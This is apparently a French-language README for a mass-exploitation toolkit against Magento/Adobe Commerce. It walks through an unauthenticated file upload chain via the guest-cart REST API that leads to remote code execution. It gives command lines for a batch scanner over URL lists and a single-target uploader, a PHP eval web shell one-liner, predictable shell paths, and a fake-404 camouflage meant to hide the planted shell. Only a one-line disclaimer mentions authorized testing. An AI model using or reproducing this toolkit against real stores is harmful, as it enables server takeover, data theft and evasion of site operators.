Magento APSB25-94 Téléchargement de fichier non authentifié vers RCE (CVE-2026-XXXX) - Eval Shell + Probe Scanner
Exploite le téléchargement de fichier non authentifié dans Magento / Adobe Commerce via l'API REST guest cart pour le téléchargement de fichier custom_options.
1. GraphQL → leak product SKU
2. REST API → create guest cart
3. REST API → upload PNG polyshell via custom_options file_info
4. HTTP GET → access .php at predictable path
5. PHP exec → RCE
magento_godzilla.py — Scanner par lotsTéléchargement en deux phases : fichier de sonde (sécurisé contre le WAF) + shell eval (camouflage 404).
pip install requests
python magento_godzilla.py -f urls.txt -t 20 -o results.txt
Sortie : RCE_CONFIRMED, SHELL_KILLED, PROBE_ONLY
magento_upload.py — Téléchargement sur cible uniquepython magento_upload.py -u https://target.com -f godzilla.php
python magento_upload.py -u https://target.com -c '<?php eval($_POST[1]);?>'
python magento_upload.py -u https://target.com -f shell.php --raw
/pub/media/custom_options/quote/{c1}/{c2}/{filename}
/media/custom_options/quote/{c1}/{c2}/{filename}
GET retourne un faux 404 (HTTP 200 + corps "Not Found"). POST avec le paramètre password exécute le code.
Pour tests de sécurité autorisés uniquement.